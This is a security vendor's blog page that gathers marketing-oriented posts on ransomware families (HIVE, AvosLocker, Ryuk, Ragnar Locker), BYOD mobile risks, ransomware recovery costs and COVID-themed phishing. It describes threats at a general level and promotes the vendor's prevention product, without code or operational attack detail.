di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Prevention Platform

Prevention for Applications

Prevention for Endpoints

Products

Prevent Ransomware

Prevent Zero-Day Attacks

Improve EPP Efficacy

Extend & Enhance EDR

Stop Fileless Attacks

Solutions

Deep Learning in Cybersecurity

Our Customers

+ MS Defender

VS Traditional Antivirus

Why Deep Instinct

About Deep Instinct

Newsroom

Careers

Contact Us

Company

Asset Library

Blog

Videos

Training

Resources

Request Demo

Customer Portal

Integrations and Compliance

Quick links

Events & Webinars

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

ChatGPT and Malware: Making Your Malicious Wishes Come True

chatgpt-malicious-wishes-blog.png

Listing preview

Perspective & Findings

ChatGPT and Malware: Making Your Malicious Wishes Come True

image_media_card

Malicious JARs and Polyglot files: “Who do you think you JAR?”

New MuddyWater Threat: Old Kitten; New Tricks

Polonium APT Group: Uncovering New Elements

Emotet’s Vacation is Over: No Rest for the Wicked

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Malicious Office files: 20+ Years of Microsoft Office Exploits

MIT Explores How Deep Learning is Transforming Cybersecurity

Trending at Deep Instinct

carousel_cards

listing_preview

Healthcare-Ransomware.jpeg

The healthcare industry is not immune from ransomware even though many ransomware gangs have discouraged the use of their variants to target these organizations. This is because their attacks are especially high profile and potentially life-threatening.It’s estimated that <a href="https://www.hcinnovationgroup.com/cybersecurity/data-breaches/news/21214314/report-ransomware-attacks-cost-healthcare-organizations-21b-in-2020">ransomware</a> attacks cost the industry $21B in 2020 with 92 known ransomware attacks impacting more than 600 separate healthcare organizations and compromising upwards of 18 million patient records.Attacks are happening now, with serious implications for patients, healthcare workers, and the health and well-being of the organization. And as cybercriminals begin to expand the target radius of their attacks looking for susceptible targets even more networks, hospitals, and clinics could find themselves inside the crosshairs.AvosLocker is one of the new ransomware variants that specifically targets healthcare organizations. Unlike other ransomware variants that infect a network and immediately cripple functionality, AvosLocker slowly encrypts each file in a command prompt window on the user’s screen, instilling a high level of psychological harm as it is doing system takeover. Users see what’s happening to their environment in real time — but are powerless to do anything to impede the attack.This ransomware is highly efficient in what it does, although it doesn’t kill off analytics tools. In fact, ProcMon was able to save the entire capture from the encryption process. This is different from other ransomware strains that block installation or running of tools and programs as a countermeasure.Another recent threat to the healthcare sector is HIVE, which began to make small waves since it first appeared in June of 2021. Just like Lockbit 2.0 and REvil it is a double extortion-based ransomware which relies heavily on the <a href="https://www.cobaltstrike.com/help-beacon">Cobalt Strike Beacon</a> for C2 capabilities.One interesting thing about the HIVE ransomware is the unrelenting fashion in which it is used to attack the medical industry, a practice which other APT groups have vehemently stated they are against for the reasons listed aboveHIVE and Memorial Health SystemHIVE was responsible for the attacks on Memorial Health System hospitals in the Ohio area in August and the <a href="https://www.fiercehealthcare.com/tech/fbi-warns-healthcare-systems-hive-ransomware-following-memorial-health-system-attack">FBI is now warning healthcare systems</a> to prepare for similar attacks. As a part of the ransom process, HIVE drops a batch file called “Shadow.bat” which kills off all shadow copies then removes itself from the machine. This is designed to prevent system restoration. If your organization doesn’t have external backups, then you are reliant on the decryption utility to access your data.This ransomware also employs the same psychological tricks that AvosLocker uses by making cyber teams watch the encryption of all their files live via a command window as it happens. However, unlike AvosLocker, it completely kills off running applications like ProcMon and other analysis utilities.Complete Protection from HIVE Ransomware While every healthcare organization has taken thorough steps to ensure their security stacks offer protection against malware and other threats, healthcare security professionals need to employ tools that can stop these known threatsHealthcare organizations must adopt a prevention-first mindset to have complete protection from the threat of ransomware. When lives are on the line, a breach is not an acceptable event.Pictured below are the blocks of AvosLocker and HIVE as I dropped them on my secured VM.<img asset_uid="bltee6a63fe734629a2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltee6a63fe734629a2/618ef78d6e3250402c099b5c/image002_(1).png" width="614" style="width: 614px; height: auto;" max-width="614"/>

Healthcare vs. HIVE Ransomware: How to Protect Yourself

We have heard this story before, so I will skip the backstory about how ransomware is a giant nightmare that shows absolutely no sign of slowing down,

Ryuk.jpg

We have heard this story before, so I will skip the backstory about how ransomware is a giant nightmare that shows absolutely no sign of slowing down, at all. There is plenty of coverage out there pertaining to Ryuk, but lesser known is that there are different variants of Ryuk and in fact different generations of Ryuk which could potentially be hitting your environment.
Generation 1 of Ryuk was, to be polite, less than intelligent. A derivation of Hermes, which at its time had its own level of success, Ryuk was a new variant with an added new mechanism to drop the ransom payload. For this to succeed, the hacker groups were highly reliant on using tools they had access to, such as Trickbot, which is still considered a very notorious and highly successful trojan.
A gen1 encryption of Ryuk was rarely found without also finding Trickbot in the environment, which meant that if you could shut down Trickbot you would have a very successful chance of not getting hit with Ryuk. Why is this the case? Trickbot is how the group gained an initial foothold to launch their reconnaissance of the network. If the trojan is blocked at the gates, then there is no ground to attack.
<h3>A More Manual Version</h3>
What makes gen1 of Ryuk different from other ransomware variants is the human element. Once Trickbot is on the machine, someone needs to do the reconnaissance work to gain further access into the machine which would cause the most “impact” to the environment and thus force the hand to “guarantee” a payment.
Common targets would be critical machines such as fileservers, domain controllers, or hosting machines. Why was gen1 so successful, even with the increased ability to share information pertaining to malware/ransomware and countless sites where you can see live submissions from ample sources? Plain and simple, the ripest targets tend to be the ones which administrators “exclude” from strict AV policies to minimize the impact on end-users (read: performance delays, application crashes, etc.) or in some instances have the product outright disabled.
<h3>Next-Gen Ryuk</h3>
Now we have the next generation of Ryuk, where its creators have gone back to school, gained advanced knowledge on how to penetrate an environment and iterated. A pattern that admins everywhere do not want to hear about. While some things have changed (I will go over those shortly), other things have stayed the same. Basic entry to the environment still relies primarily on targeted spear-phishing and a “document” which most likely has a VBA macro included, and will execute the dropper/loader the second you enable macros (or, open the document in the case you have content enabled by default). There is also still a possibility that Trickbot can be part of the equation (after all, if it’s not broken, don’t fix it)
Common fare, many campaigns use this method. MAZE (now defunct), Ragnar, <a href="https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/" target="_blank" rel="noopener noreferrer">Emotet Malware</a>, and more use this methodology as their first phase of gaining a foothold. Part of their advanced education has taught them about some new tools which can be leveraged, such as CobaltStrike Beacon, something commonly used during red-team penetration testing exercises because of the flexibility it gives to the one controlling the beacon (C2). Wizard Spider has started to rely substantially less on customized tools and instituted a new phase of living off the land, making their ability to laterally move once inside an environment exponentially easier.
Once they have a foothold and the C2 server in place, it’s the same fare as other ransom attacks; leveraging command and Powershell for lateral movements and credential dumping. Unfortunately, there are not many products which are capable of monitoring Powershell scripting, substantially less can analyze Powershell scripts on a contextual level to allow legit scripts through and malicious scripts to be shut down.
This entails two options; either to outright block Powershell or to allow Powershell. Neither are great options if you want the utmost of security and balance for your users (specifically admins) to properly manage the environment or complete tasks. This harkens back to admins doing anything they can to not impact their user base, even if that means lowering the security posture of the environment.
An example of what can happen when you take that lowered security stance anywhere in the enterprise are the <a href="https://www.wired.com/story/ransomware-hospitals-ryuk-trickbot/" target="_blank" rel="noopener noreferrer">dozens of hospitals</a> that have been hit with generation 1 of Ryuk at the height of the Coronavirus pandemic. A terrible situation which no healthcare provider should ever be caught in the middle of.
This is where prevention becomes essential. It’s not an option anymore and no one can afford to deprioritize prevention as secondary to detecting and trying to remediate. In the case of ransomware, organizations can’t afford any risk at all, in September of 2020 a patient died due to a ransomware attack at a hospital which prevented them from accepting new in-patients.
A colleague of mine made a video about Ryuk which shows prevention in action. In the video, the static engine brain version 109 is used to prevent Ryuk. This is important to note as the 109 brain was trained and released in November 2018 – two years prior to infection!
https://youtu.be/TOpIJa5Pf90
&nbsp;
The above video helps to outline why a prevention-focused solution is absolutely necessary. The <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint security solution</a> provides intelligent Powershell script analysis that supports admins with the flexibility to do their work but simultaneously applies a rigorous prevention method against malicious actions. Deep Instinct really is the complete package.
&nbsp;

Ryuk Ransomware: The Deviance is in the Variance

Mobile security has become a hot topic as of late, because of the increased number of people who are using their mobile devices (often, personal devic

BYOD.jpg

Mobile security has become a hot topic as of late, because of the increased number of people who are using their mobile devices (often, personal devices) in our new era of working from home.  What does this mean for workplace security?  And what are the implications to users now relying so heavily on their mobile devices?
To answer the last question first, YES!  There are major implications to users relying on mobile devices, especially if the mobile devices are their own!  Think of all the data that could be accessed if there is lax security on the device; there is both personal information and corporate information within their e-mails (some using the default mail apps!)  This security risk is compounded in multiple ways by Bring Your Own Device (BYOD) policies, where users are taking their phones with them into the office.
It's a phone, what damage can it really do?  Plenty, and I promise none of it is good.
&nbsp;
<h3>The Physical and Application Threat Potential</h3>
First, there is the physical threat potential, particularly the OSI layer of 0 - Physical connections.  Every phone has the capability of using physical connections, whether for data transfer and charging (unless you have a Qi charging capable phone).  “It's a charging cable, what could it possibly do aside from charge your phone?”  What if someone embedded a <a href="https://blog.drhack.net/hidden-wifi-in-usb-cables-hack/" target="_blank" rel="noopener noreferrer">WiFi module</a> within the cable?  That has been done and it's a sneaky way to gain access to a user's computer without them even realizing something is amiss (until they see the actions occurring on the machine).  This method relies on the user being within WiFi proximity to the cable being used, so the range is not great.
Other ways to get access to the device, in theory, include any USB port which could be a juice-jacking point if someone goes through the pain of modifying the cable. This could even mean forging a connection within hotel rooms or public spaces, given enough time, and lax enough security to perform the "swap" of parts.  There is also the "Bad USB" which gets in through existing USB cables and drops payloads on machines. This could enable anything from attempting to exfiltrate logins (<a href="https://www.deepinstinct.com/2020/02/13/agent-ducky-presents-the-lockdown/" target="_blank" rel="noopener noreferrer">aka rubber ducky)</a> or open up remote connectivity which allows a user access to the plugged-in machine and mobile device which is also connected.  This vulnerability applies to both Androids and iPhones, really anything that could have a USB connection into the corporate environment.
<h3>Potential Software Issues</h3>
Back in the day, I was a Google device supporter for many years.  I tested their G1 before it was released, tearing it down to find out what was inside (for work reasons, of course).  I was a Chromebook tester (still have the OG chromebook with lifetime Verizon data connection).  Back then, it was all about open source and security; do whatever you want, but if you root the phone or put on a different OS (ROM), the onus of liability falls on you, the user.
Unfortunately, that approach has shifted due to manufacturers adopting Android, but not the AOSP update model, which is making things like "<a href="https://thehackernews.com/2020/05/stranhogg-android-vulnerability.html" target="_blank" rel="noopener noreferrer">Strandhogg 2.0</a>" all the more dangerous.  Considering that 15-20% of Android devices are running the latest version, you might say "well, people should be updating their phone", but what if you CAN'T update?  Not because it is a rooted device with custom ROM running on it, but unable to get updates from Google themselves or the phone’s manufacturer.  Sadly, this happens more than you would think and it's the main reason so many people are running deprecated operating systems on Android devices.
As mobile devices are now a point of entry into environments, how can you keep yourself and your corporate data safe?  Personally, I use a zero-logging VPN on my phone which works on cellular and on WiFi. This helps to keep my device a bit more inaccessible as it's bouncing through any number of cities.  I also make sure to keep strong passwords and use any available security feature to make it that much harder to access my phone (2FA being a very strong frontrunner for mobile!)
In February of 2020 there was a widespread infection of 300,000+ Android-based devices by “Joker”, and it happened after a veritable purge of the Google Play store which took close to 2,000 malware-embedded apps down. Google has attempted to keep the <a href="https://www.deepinstinct.com/2020/04/21/from-the-wild-west-to-an-exclusive-club-googles-gatekeeping-of-the-chrome-web-store/" target="_blank" rel="noopener noreferrer">Play Store</a> as clean as possible, but with so many submissions and the capability for users to “sideload” applications to devices, Google can only do so much.
Joker has multiple different components and is classified as a trojan with a C&amp;C server on the back end. Once the malware is on your mobile device, it starts to subscribe the device to premium services and intercepts/deletes the SMS messages before the user sees them. Deleting the malware doesn’t stop the payments, so the user must track them down and cancel them which is annoying and time-consuming. To avoid this you need a mobile protection solution that can handle the adapting threat landscape and handle the analysis of those files while being able to adapt on the fly.
How long is it going to take for someone to pack ransomware into the manifest of an Android app, use the app as a dropper which only drops to the host machine once the device is plugged in via USB? The program could manipulate the device and utilize USB file transfers with the proper permission set. This would make a BYOD device, which is fast becoming one of the most common forms of enterprise-based devices, the perfect entry point for bad actors looking to gain easy access into a corporate environment. Further worsening the risk profile of BYOD is that almost all mobile-based AV solutions are still reliant on content updates delivered to them on a regular basis. It’s evident this threat is going to be persistent, undoubtedly the time has come to leverage a <a href="https://www.deepinstinct.com/mobile-security/" target="_blank" rel="noopener noreferrer">mobile protection product</a> which is always learning with the power of AI and deep learning to help keep your employees, and most importantly your corporate data, safe from bad actors!

Mobile Security and why I Hate BYOD Policies

Ransomware.  Just that one word can strike fear into the hearts of the most hardened security professionals.  The word itself has become scary but bec

ransomware-attack.jpg

Ransomware.  Just that one word can strike fear into the hearts of the most hardened security professionals.  The word itself has become scary but because of what Ransomware can mean to livelihoods should a company be successfully attacked by a bad actor and machines are compromised or encrypted.  What’s the big deal though, it’s just some computers and some files, we can remove it and move on with our lives…. right?  Maybe.
Maybe?  With the risks involved, you can’t settle for “maybe”.  There are many factors that go into the potential recovery after a successful ransomware attack, many of which most corporations are woefully unprepared.  The quickest and easiest way to recover from ransomware was by restoring from backups which allows you to carry on your day like nothing happened. More importantly, restoring from a backup meant nobody external to the company would need to know of the successful attack. While quick and easy is great, it also comes with hidden costs which can quickly inflate!  What are the costs to recover from a ransomware attack, both upfront and hidden on the back end?  For the sake of this article, I am going to use the Maersk incident as it’s very well-publicized and had a staggering price-point associated with recovery.
June of 2017 is the timeframe we are looking at, and Maersk was hit with NotPetya, at the time, a particularly nasty piece of ransomware.  The scope of impact was <a href="https://www.zdnet.com/article/maersk-forced-to-reinstall-4000-servers-45000-pcs-due-to-notpetya-attack/" target="_blank" rel="noopener noreferrer">~4000 servers and 45,000 PCs along with ~2500 applications over a period of just under 2 weeks in time</a>.  I am going to focus on the cost of 49,000 machines (server and workstation) and break down the total cost  (~$300 million) over the duration of the 10 days that they were out of order.  At $300 million and just over 240 hours, it cost Maersk approximately $1.25 million per day in both recovery and business interruption.  To give some perspective of a smaller scale, small businesses spend <a href="https://www.forbes.com/sites/leemathews/2020/01/26/average-cost-to-recover-from-ransomware-skyrockets-to-over-84000/#42ea94cf13a2" target="_blank" rel="noopener noreferrer">~$80k</a> on <a href="https://info.deepinstinct.com/value-of-prevention" target="_blank" rel="noopener noreferrer">recovering from a ransomware incident</a>.
For the sake of being thorough, I am going to take you through the typical lifecycle of an attack and the effectiveness of ransomware attack, in the hope this will help you identify the signs to look for in an affected environment.  Please note, the names of the steps are not “industry standard”, but I believe they more adequately explain the lifecycle and make it more understandable.
Step 1 – Probing.  For a successful ransomware attack to be pulled off you need to know about the company and their defense capabilities.  Are you running a next-gen solution?  How are your perimeter defenses configured?  Are you using anything which would give them “easy access” to your environment with preferably elevated credentials or permissions? (An example of this would be an open RDP to the outside world with weak security).  A common practice will be dropping several different tools or programs on machines to see what is prevented and what isn’t, then using one of the undetected programs (mostly <a href="https://www.deepinstinct.com/2020/01/05/be-afraid-of-dual-use-tools-and-their-power-of-complacency/" target="_blank" rel="noopener noreferrer">dual-use</a> tools) after being weaponized to bypass the local security of the machine.  You can generally see this in the management console of any security solution, but this requires manpower and time to continuously monitor.  An option to try and augment this would be the implementation of a <a href="https://www.deepinstinct.com/2019/12/15/the-intersection-between-zero-trust-and-zero-time/" target="_blank" rel="noopener noreferrer">zero-trust</a> model, but that will only protect from internal sources (such as employees) and does not include the requisite <a href="https://www.deepinstinct.com/2019/12/15/the-intersection-between-zero-trust-and-zero-time/" target="_blank" rel="noopener noreferrer">zero-time</a> model.
Step 2 – The Attack.  Once the bad actors have the lay of the land being your environment and its shortcomings, they will start to launch their attacks.  If they have access to an RMM tool with weak security, that will make for a prime entry point. The permission set usually granted to the RMM tool is more than enough to run anything.  Alternatively, the bad actors could use a standard e-mail campaign with a “document” attached which is password protected in an archive (prevents the removal by endpoint solutions as they cannot scan inside protected archives).  Yet there are still other options that could be utilized, such as weaponizing <a href="https://www.deepinstinct.com/2020/01/05/be-afraid-of-dual-use-tools-and-their-power-of-complacency/" target="_blank" rel="noopener noreferrer">dual-use</a> tools that are already in the environment.  Part of the attack is the payload which includes the encryption subroutines, which depending on how they are coded, could attack one machine and any mapped network drives.  This is where the discomfort sets in, as almost every ransomware instance I have seen uses at least <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank" rel="noopener noreferrer">AES-256</a> encryption to encrypt the files.
Step 3 – The Ransom.  By this point, all your files are encrypted on the machine with AES-256 encryption and you have a lovely ransom note on your machine from the bad actors stating how much money they want (or how much bitcoin, which is common).  They explain to you via the note how to upload the money to an anonymous wallet and in return, you will be provided a utility that will decrypt all your files and allow your return back to functionality.  This has been the modus operandi of most bad actors looking for a payday and in my experience, those who paid the ransom had their files decrypted, albeit I still wonder if the “entity” you were working with kept any of our files on their side.
The most common statement I have heard in the security realm pertaining to this specific situation was “Don’t pay it! Restore from backup and go on with your day!”.  Honestly, not a bad idea in theory, but what if your company was woefully understaffed and did not have a regular backup process?  What if one of your file servers was hit due to a mapped drive and there’s no backup available to recover?  Even if you have the backups, you are looking at days, sometimes weeks, of being down while going through the recovery process on those machines.  How is that impacting your business?  If that wasn’t enough to worry about, we now have a new curveball thrown into the mix. I call it “The Chaos”.
Step 4 – The Chaos.  While the above is enough to strain any company to its limits, “the chaos” adds a whole new level of worry to the process.  It’s all about <a href="https://www.deepinstinct.com/2020/04/20/the-evolution-of-ransomware-and-its-culmination-to-the-nameshame-game/" target="_blank" rel="noopener noreferrer">naming and shaming</a> to try and add further leverage towards getting their payday. This means that even those organizations that do have stellar backups now have something altogether less enjoyable to worry about.  You see, the bad actors have finally learned that encrypting environments is not enough to ensure a payday, especially as more and more companies started beefing up their backup plans after the first hints of ransomware came out years ago.  They have learned that something exists which is more valuable than the data on the machines, and that is the reputation of the company.
Companies pride themselves on being able to say they keep their customer data private and their internal IP private as that’s often what makes the company unique.  The chaos aspect of this started back in late 2019 and has greatly picked up momentum in the first month of 2020 with five law firms being hit. They were all threatened with public exposure of the data which was encrypted in order to enforce payment.  The basis of the data exfiltration is to show how the said company was breached, as part of the process some data is shown to the customer to indicate they are extremely serious.
If you fail to pay the ransom the data becomes available on the dark web. They also reach out to the companies you were dealing with, to offer the data in the event they enter litigation against you for breach of data protection.  Many people think the best way out should be to just pay the ransom and move on, but there is a major part of the recovery process which people often don’t take into consideration.
Some ransomware use persistence methods which mean that stopping the ransomware process won’t be enough, since after a period or reboot the ransomware will still be active.  The only way to combat persistence is by knowing and being familiar with all the places or methods that malware, not just ransomware, gain its persistence capabilities.  Persistence within malware is not uncommon at all, some common versions would be keys used by Winlogon, BootExecute keys, Shortcut hijacking, even the Windows Scheduler has been known to be manipulated. Without knowing if or how the malware you were infected with utilizes persistence mechanisms, the act of paying the ransom is futile if the machine would still be able to re-infect either itself and other machines (if there is a network component) upon the next run of the software.
Step 5 – The Fallout.  Bad actors (correctly) assume that admitting you were compromised is the last thing a company wants to do publicly.  The damage to a corporate image due to an encryption incident can be catastrophic, and if your business happens to be cybersecurity, it could be game over if word gets out.  As a result of these additional “endeavors” by bad actors to ensure they are paid, we have a new security layer being introduced by businesses to proactively cover this kind of incident, <a href="https://www.deepinstinct.com/2020/03/11/does-ransomware-insurance-give-companies-a-false-sense-of-security/" target="_blank" rel="noopener noreferrer">ransomware insurance</a>.
Many articles have been published about companies using ransomware insurance to pay off the bad actors to get data back. As the company is only liable for the deductible, roughly $10,000 when it comes to a ransom of over $400,000, the cost-benefit becomes self-evident.  While the insurance will help keep the company humming along, it doesn’t close all vulnerabilities.  It can be easily found out a deductible was paid to remediate a ransomware-based event and that your security was compromised.  Not only is that a signal to other bad actors that you are a guaranteed payday, but an unwilling admission that your security posture was less than stellar.  Adding salt to the wound, insurance companies have been known to find any way to state the issue is not covered due to the circumstances of the attack. This leaves many companies on the hook for the total amount of the ransom, which often they don’t have the liquid cash available to resolve.
Step 6 – The Best Way Out and the Future.  Your company name and reputation are important, and these bad actors absolutely know this.  They are counting on a lax security posture and a desire to keep things hushed to guarantee a payday. This is not helped with the knowledge that companies hit with ransomware have almost a 50% chance of a repeat attack occurring in the very near future.  In fact, in one story from the trenches, a security officer recalled how once after paying a ransom and data was decrypted as promised, at the end of the decryption an unknown icon was left on the screen of the impacted user (where the whole infection started). Being curious the user double-clicked on the icon, triggering a second encryption subroutine on the machine and data was once again encrypted!
So what do you do? How do you prevent the decryption of your data, the threat of exposure of your data to enforce payment and the possibility of a repeat offense?
A strong security posture would be the best start.  Working with a next-gen solution is the best option you could leverage in your environment.  Zero-trust combined with zero-time is the perfect intersection of security, and that’s where Deep Instinct steps in.  We thrive in the realm of the unknown threat to keep your environment safe from bad actors and their terrifying ransomware.
Deep Instinct, we prevent what others can't find

Recovering From a Ransomware Attack: The Do's and the Don'ts

There has been a shift in the threat landscape when it comes to ransomware and it’s a very worrying trend!  Before, ransomware was designed to be a qu

Ragnar.jpg

There has been a shift in the threat landscape when it comes to ransomware and it’s a very worrying trend!  Before, ransomware was designed to be a quick payday post-ransom of an environment, but it has morphed into something completely different, becoming an enterprise of its own.
Let’s briefly talk about <a href="https://info.deepinstinct.com/tof/on-demand-webinar-best-defense-strategies-against-ransomware-attacks" target="_blank" rel="noopener noreferrer">the history of ransomware</a>, where it started and where it is heading.  The first major incident pertaining to ransomware surrounded the “PC Cyborg” or AIDS trojan. The ransomware would lie dormant on the machine until certain conditions were met and then launch, demanding payment and a software license fee.  One of the first PC Cyborg/AIDS trojan events occurred in 1989 when a researcher sent out countless disks to “fellows” and unwittingly unleashed the start of a completely new wave of cyberattacks against organizations.
For brevity, let’s jump ahead in this brief history of ransomware to the more “recent” evolutions which have become relatively prominent and for which this writer has direct experience.  Starting in 2013 ransomware became substantially more prominent in enterprise environments. Prior to that most of what was encountered was “Fake AV” or other pop-ups trying to get you to pay money to “clean your system”, but they did not encrypt it and leave it unusable.
Early 2013, Cryptolocker and Cryptowall made their appearances featuring sophisticated methods to get around endpoint solutions and encrypt the machines. If successful, this forced the victim to either restore from a backup or pay the ransom to “restore” their data.  Countless people fell victim to these new ransomware tactics, to the extent that these new variants of ransomware got labeled “the worst ever”.  There were many different variants of Cryptowall and Cryptolocker, as it was constantly updated with better encryption and evasion techniques to avoid sandboxing and endpoint security solutions.  Most of these involved utilization of svchost.exe for process injection combined with a command and control server used to provide part of the encryption key.
Just as endpoint security has evolved to keep ahead of bad actors, bad actors have likewise evolved their skills to circumvent detection. The more successful efforts going one step further to incorporate new techniques to ensure they receive payment.  Mentioned earlier were command and control servers, this was the bread and butter of the early ransomware wave and it made circumvention of the <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint security</a> extremely easy.  All that was needed was for an innocuous file to get on the machine which could then reach out to download the payload once on the machine and “found clean” by the endpoint solution.  Two examples of campaigns that used this level of technology, which was groundbreaking at the time, were GameOver ZeuS/CryptoLocker.  This writer personally dealt with all of these in a prior role and can attest to it being a living nightmare. The bad actors were clearly very aware of the security measures being used on the field and knew precisely how to counter and exploit them.
Eventually, it was found that having a C2C (our short form for command and control) server in the environment was extremely dangerous as it required the machine to reach out and download the file.  The persistent server(s) was a weak point that could be tracked, and in the case of CryptoLocker/CryptoWall it led to their <a href="https://www.computerworld.com/article/2476366/wham-bam--global-operation-tovar-whacks-cryptolocker-ransomware---gameover-zeus-b.html" target="_blank" rel="noopener noreferrer">downfall</a>.  A large factor in this takedown was the need for a persistent file on the machine to talk back to the C2C server. Ultimately this allowed for <a href="https://www.deepinstinct.com/endpoint-protection/">endpoint security solutions</a> to obtain a copy of the file and reverse engineer the inner workings which revealed the servers they were talking to.
Once these servers started getting taken offline and the “admins” who were overseeing them arrested and tried for their crimes, a shift started to take place.  Instead of hosting the files on a C2C server that was able to be tracked, bad actors started using sites like PasteBin to house their binary payloads.  Now, all that bad actors had to do was drop a simple batch file on a machine and have it call back. The more intelligent ones (Sodinokibi, Ryuk, etc.) were injecting straight to memory once the PasteBin site was accessed and thus circumvented almost every endpoint solution.  Even worse, many MSPs were encrypted using their own RMM utilities, something which is still happening today, with the most recent trend in the threat landscape to name and shame.
In the new transition to “name and shame” just ransoming the data is not enough to ensure the payment, so the bad actors implemented a new tactic to secure their payday.  The same premise is at play with the attacks in the sense of encrypting the data and leaving a ransom note, but that is where the differences start to take shape.
Here is an example of the ransom note:
<img class="alignnone wp-image-6810 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3445f875fbc745e6/611a7cc3f704af15e474e504/home-page.png" alt="" width="520" height="272" />
There is a website on the dark web which houses any and all companies which are breached by Ragnar Locker and either decided not to pay or never responded to the notification file because they felt it was an idle threat.
<img class="alignnone wp-image-6812 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1330b1c849b876c5/611a7cc13f43081646a0ef54/ransom-note.png" alt="" width="831" height="729" />
And this is where this ransomware starts to differ from its predecessors. On line 23 you see they make the ultimatum of “you will contact us, or we will publish this for sale to interested parties”.  This differs from ransomware in the past which encrypted your files, but you were free to restore from backup without any threat of anyone knowing the data breach ever happened.  While many out there are thinking “oh, this is just an idle threat in an attempt to extort money from a company”, that’s now wishful thinking and no longer viable.
Line 26 then addresses the gathering of sensitive information from the company. This too sounds like a generic idle threat designed to force the victim into a panic decision to pay “just in case it’s real”.
Line 27 states all files and documents will be published for all to see. On top of that, they will reach out to the companies they found in the documents with direct links to let them know their data was exfiltrated and the security of the company was compromised.
Look at the next picture and try not to become overwhelmed with dread and worry. This is a screenshot of the internal file structure of the data pulled from servers by a company which was encrypted by Ragnar Locker.
<img class="alignnone wp-image-6807 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3118073a23b36e78/611a7ccd207bb815f58857a7/company-data.png" alt="" width="997" height="731" />
I have blanked out the data, which was wide open, very enlightening, and sadly out there for the whole world to see! It included company names and even addresses as that was the naming convention for the documents as they were pulled from the environment.  As you can see, they are not passing you an idle threat but should be taken seriously.
What happens if you don’t pay?  How severe can it get?  Take a look at the next image.
<img class="alignnone wp-image-6811 size-large" src="https://www.deepinstinct.com/wp-content/uploads/2020/04/internal-file-1000x350.png" alt="" width="1000" height="350" />
They have listed the name of the company and the website in their release.  They also go to the extreme of listing the head of the company to add a bit more insult to the injury of data being readily available for purchase by any and all parties. Leaving companies minimal alternative but to follow the negotiations with the Ragnar team.
Yes, these guys mean business but that doesn’t mean the whole situation is lost. It is possible to keep yourself protected against them by having a next-generation solution designed to prevent such attacks.  I have run this through my lab to test whether <a href="http://www.deepinstinct.com" target="_blank" rel="noopener noreferrer">Deep Instinct</a> successfully prevented against Ragnar ransomware. The pictures speak for themselves!
<img class="alignnone wp-image-6808 size-full" src="https://www.deepinstinct.com/wp-content/uploads/2020/04/Deep-Instinct-e1587409533682.png" alt="" width="816" height="476" />
<img class="alignnone wp-image-6809 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2f0047355d75e4e9/611a7cc68d53e815d5044ee3/DI-classification.png" alt="" width="957" height="423" />
This is a breakdown of what was found when Deep Instinct’s<a href="https://www.deepinstinct.com/what-is-deep-learning/" target="_blank" rel="noopener noreferrer"> deep learning brain</a> analyzed the file as it was being extracted from the zip package on the lab machine.  The hash value listed is the IOC which is used in this writer’s lab for testing purposes. (SHA256 IOC - 9bdd7f965d1c67396afb0a84c78b4d12118ff377db7efdca4a1340933120f376) It’s a very small PE file but should it get into your environment you can see the potential damage (both monetarily and to your reputation) it leaves in its wake.  The ransom note and the data posted above were from two different attacks, but how did they get in?  In the instance of the breach with the note the bad actors used an insecure login to ConnectWise, further vindicating the need for a <a href="https://www.deepinstinct.com/2019/12/15/the-intersection-between-zero-trust-and-zero-time/" target="_blank" rel="noopener noreferrer">zero-time model</a> to pair with your zero-trust model that you should already have in place in your environment!
We halted this attack in its tracks, it never even had a chance to get a foothold on one of my lab machines.  This is what <a href="https://www.deepinstinct.com/product-overview/" target="_blank" rel="noopener noreferrer">next-generation prevention</a> looks like and this is what you need in your environment to keep your data safe!
The threat landscape is forever changing, are you ready to evolve with it and embrace the technology needed to protect your environment?

The Evolution of Ransomware and its Culmination to the Name&Shame Game

If you have not turned on the news in the last month (or more), then you might not know there is a pandemic currently raging through the world.  COVID

coronavirus.jpg

If you have not turned on the news in the last month (or more), then you might not know there is a pandemic currently raging through the world.  <a href="https://www.deepinstinct.com/2020/03/17/working-from-home-in-the-new-era-of-covid19/" target="_blank" rel="noopener noreferrer">COVID-19</a>, or novel coronavirus, aside from causing panic and worry amongst the population, there is another substantial threat, compounded when society is in a crisis mode, and that is phishing attacks and site baiting.
Everyone is reading everything they can about the virus, and it becomes hard to resist getting immersed in all the hysteria. The problem with any crisis is when someone uses the associated emotions against you, and they succeed, purely because you are trying to look out for yourself and your loved ones.
What motivates bad actors to leverage crises?  Why are they seeking to manipulate people when emergencies occur?  Why specifically are pandemics significant to attackers?  The answer is simple. During emergencies, security posture naturally diminishes. During these high-stress times, attackers know people are more prone to momentary lapses of judgment, making a successful attack easier.
<h3>Vicious Panda</h3>
Let's talk about how these bad actors do their work and how they take advantage of your impacted state of mind.  There is a group that calls itself "Vicious Panda," which made the headlines (countless more have NOT made headlines) for their scheme to infect victims' machines and gather sensitive information.  Their attacks spread successfully <a href="https://www.deepinstinct.com/endpoint-protection/" target="_blank" rel="noopener noreferrer">across both PCs</a> and <a href="https://www.deepinstinct.com/mobile-security/" target="_blank" rel="noopener noreferrer">mobile devices</a> worldwide.  The attack method was simple; one used many times for countless different campaigns.  The user is sent an email with a document attached that seems pertinent (in this case about the virus), which might instantly raise the recipient's emotional state from worried to near panic.  Once opened, the document stealthily drops <a href="https://www.deepinstinct.com/2018/11/25/reinventing-prevention-with-deep-learning/">malware</a> on the machine designed to offload data from your device to another location (a data repository), which is then further used to widen the attack radius.
Many malicious websites are also live now, promising a live Coronavirus threat map designed to mimic the actual threat map from John's Hopkins University. While some are more elaborate than others with functional interactive user interfaces, all share the same goal, getting your data by dropping a malicious payload.
